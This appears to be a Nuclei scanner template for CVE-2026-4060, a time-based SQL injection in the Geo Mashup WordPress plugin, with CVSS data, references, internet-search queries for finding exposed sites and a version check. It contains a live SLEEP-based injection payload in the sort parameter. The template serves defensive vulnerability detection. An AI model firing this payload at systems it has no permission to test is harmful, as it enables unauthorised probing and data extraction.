Description
Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.
Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.
id: CVE-2026-4060
info:
name: Geo Mashup <= 1.13.18 - SQL Injection
author: ydking0911
severity: high
description: |
Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.
impact: |
Unauthenticated attackers can append SQL queries into existing database queries and potentially extract sensitive information using a time-based blind approach.
remediation: |
Update Geo Mashup to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4060
- https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve
- https://plugins.trac.wordpress.org/changeset/3503627/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-4060
epss-score: 0.01422
epss-percentile: 0.7168
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: cyberhobo
product: geo_mashup
shodan-query: http.html:"geo-mashup"
fofa-query: body="geo-mashup"
tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt"
- "{{BaseURL}}"
stop-at-first-match: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag:\s*([0-9.]+)'
internal: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'geo-mashup')"
condition: and
internal: true
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Geo Mashup')"
- "compare_versions(version, '<= 1.13.18')"
condition: and
internal: true
- raw:
- |
@timeout: 30s
GET /?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration >= 8"
- "status_code == 200"
- "contains(body, 'GeoMashup.createMap')"
condition: and
# digest: 4a0a0047304502206083c895cd3640c91fd66937f16032807f1d89851aa4189e696175644480304b022100ec992403801474207b9f032c0221389044a249b0060d0400c3a90e473f60989b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.